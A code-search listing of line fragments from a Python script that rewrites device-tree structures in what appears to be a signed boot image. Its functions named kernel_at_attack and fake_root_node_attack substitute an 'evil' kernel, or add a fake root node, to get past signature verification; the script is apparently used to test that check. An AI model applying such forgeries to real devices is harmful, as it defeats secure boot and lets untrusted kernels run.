Lines Matching refs:dt_strings

24 def getstr(dt_strings, off):  argument
35 while dt_strings[off]:
36 output += chr(dt_strings[off])
54 def determine_offset(dt_struct, dt_strings, searched_node_name): argument
104 prop_name = getstr(dt_strings, nameoff)
200 def change_property_value(dt_struct, dt_strings, prop_path, prop_value, argument
217 (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
227 def change_node_name(dt_struct, dt_strings, node_path, node_name): argument
243 determine_offset(dt_struct, dt_strings, node_path))
251 def get_prop_value(dt_struct, dt_strings, prop_path): argument
265 (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
278 def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash): argument
298 dt_struct, dt_strings, '/configurations/default')
304 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
314 dt_struct, dt_strings, '/images/' + loaded_kernel))
330 dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
334 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
338 dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
343 def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest): argument
357 dt_struct, dt_strings, '/configurations/default')
363 loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
368 (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
377 new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
385 dt_struct = change_property_value(dt_struct, dt_strings, value_path,
391 dt_struct = change_node_name(dt_struct, dt_strings, node_path,
396 dt_struct = change_property_value(dt_struct, dt_strings, data_path,
401 dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
442 dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
453 dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
456 dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
460 size_dt_strings = len(dt_strings)
476 output_file.write(dt_strings)